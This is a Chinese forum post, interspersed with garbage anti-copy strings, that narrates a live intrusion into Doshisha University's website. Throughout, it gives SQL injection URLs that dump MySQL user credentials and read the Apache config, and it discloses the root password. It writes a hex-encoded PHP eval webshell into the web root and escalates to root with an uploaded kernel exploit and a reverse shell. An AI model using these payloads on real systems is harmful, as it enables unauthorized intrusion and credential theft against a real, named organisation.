入侵日本同志社大学技术分析# x% Z* _$ t0 h) h: @0 u
& ~; m* P: o4 o x/ ^9 S% R! Whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
' b) ^5 E, C o6 J! _/ f然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:* k& [: \7 n' f+ N$ ~8 Y
! D; I3 j% O" @4 s, V
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user- B! N& Q2 F L
: k" A h% E7 d" `8 m% F/ n, E
e# d/ _6 o& l
5 ?! j, U* m7 u
//@@datadir为数据库文件路径 " A6 Z2 X6 I: X t( ~4 X* j
+ O/ Z1 C& q# |# H0 v
+ I; D" U; ?4 N; I2 v) l//load_file读取网站容器apache的配置文件 3 V3 W8 y) v) z. o9 |
' L3 Q3 p3 W4 y: M$ c: N
h$ f- u3 E+ s9 a+ p
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
2 ~' @0 S8 m4 J& }复制代码
1 Z& C2 W, U3 X: K3 j& U2 [0 d3 i$ }; o! q5 y+ W
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
# Q7 k+ h* s1 _. n) K& Y
) o, W; L7 V7 D6 S8 N O+ m! Q4 t而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。$ r. H0 ]0 T. \2 W3 K7 L$ a, c
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
9 m' @, O" m. s6 {& P7 p* q
4 X, v8 I! V4 r7 {前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。( {6 B: w0 T$ u: y7 p
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* Y$ } H2 w1 i; m m
! n! T& I$ ]. N$ H9 p
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
7 B' N. v* y, x9 z虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
3 n3 F2 S* Q, I直接写一句话:+ y. i$ `5 y3 h
e& K# `; G. v- w
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#9 P! D. j: x7 E( g7 _
& b3 g! g4 O% Y' {, X; n: o
1 [+ m. O) Z% H& F: |: D
5 B5 O( d" F O" R
//最后的#是为了闭合前面的语句 2 R4 @+ a5 E) Y4 F" f
, A2 V* t% n# q
3 ~5 V, B* i# W5 l8 R' H
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 0 d/ X+ r3 e! Y' Y$ \5 v- v
& f0 y0 [! J/ g2 Y
5 \/ X$ E1 _. h: c# c9 F+ J为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
6 G/ o. U4 J& W6 l
; R' k! M. r9 d) a1 O
6 u$ W- x/ U/ J//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 8 F7 ?4 t( I1 A% H5 f2 `1 r: `
$ }, q' y" x- W
5 `6 R' o, h8 T! e//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& y6 Y" s3 f. |# h9 `//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
6 A ^/ Q, y' M+ G7 C) R7 P) y复制代码
* U/ O5 z8 D) Y V% {1 o$ B' Z0 E
) x: s$ P6 Q0 \0 l. _HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
H+ W: Z% z* _' W3 f/ {" F- m J0 _通过上述注入语句,我们就得到了一句话木马:! g) j* m& n3 ]' z1 d* \) H" P) |4 @: d
9 i9 S' m! v- l- y! L% s
- k, X3 U' P0 A5 _& M$ {0 m( I& Q, ^: ^+ x0 V
3 t* f. F% b3 B! o& U' M" ~; e, Q0 g3 S" k5 W2 m7 S2 b) }6 x
http://www.doshisha.ac.jp/english/engnews_img/aa.php
3 X* y% {/ o+ J( v$ p复制代码
2 `1 \1 f& E* |' ?- |
' _" z# {8 ]& v用菜刀连接,密码是cmd,如图所示:
: ^& [/ g6 ^$ c6 l+ p' e/ K" S1 _然后在命令提示行里看了一下,现在的权限是:
" j2 w2 K5 d/ }# M3 ?) y5 B' C
& o! n" I [: q$ ~: ~之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
4 B. Y: g( M7 F2 _好在赋权给这个文件夹不需要root,直接执行赋权语句:, x4 o2 B1 L% G4 C
9 N3 ~) a; @( y
( e3 e" ]" N' b
( i$ C1 w9 c i u) {! ~- C& C9 q2 |
3 P4 o6 h; M$ ~+ l! c6 h z
! Y% o x% z5 _: Q7 vchmod +x /tmp/ 7 ^+ Z: p, Q" y- k3 X
复制代码
# I: j. G: v g& c
- T% ^, j; z% i% y \在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 _" I/ S: s9 R8 Y$ `( Q# e
然后就查了一下内核版本:3 Z/ e+ V9 t) ^# N
+ T2 m% z. T8 \6 A8 h- q + }* `6 I1 f8 R( Q1 S7 W& A/ w$ J( h
, p2 I8 R+ K6 W) J% w. J
8 N0 P0 }" o* M4 J) U
7 d) S1 _6 x0 L$ K% f. quname-a 4 ~# S5 q% e$ s5 H
1 L' G5 I5 Q! Y
# n4 \8 s* D/ ?5 ^9 e: E//其实lsb_release -a ) z% }. a3 a$ i# D5 e
复制代码
* Q* J" x; ^2 X% {* ]: C5 \/ U
1 X! O! y& r3 r6 V如图所示:
- d; J7 O% X$ s8 y7 J! l6 p* f0 _, |: t# ]4 h
内核版本:linux mainz1 2.6.28-194.e15
( a4 l5 i/ p, \; n' l, [系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)/ I9 `+ Y6 q6 A; I3 u8 d
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" f* B/ X( f! `1 }! D- \ L8 @4 K
, k& r3 f- j, c( L. Q4 y4 o+ J# p然后给予执行权限
* Z% h! q% g- E( j) t3 c; b一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
w. Z; U" H5 Z, |6 o3 s* z& E1 f! e( _" Q- O, C; R) H
+ u' N6 w$ S) {) m
+ W* p8 E1 g! w
, t$ e1 e/ ^& Z4 v% V: M/ a |" q5 F: q
chmod +x /tmp/2.6.18-194
0 D/ M9 U; F6 k/ }* C% L6 R, e" c1 b3 E复制代码 然后直接执行!~& ?1 I( Y: c- ^. h6 N1 a9 ^ `
! |! e6 E1 A, Z, q6 f- |0 A* r总结:" I6 H3 B" H# \" `7 d7 X
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 N& n0 I8 l2 A. I( o2 L提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
6 _# C4 x* Q# T% [0 m3 S) F v) T
; T. ~9 m/ i4 @/ X |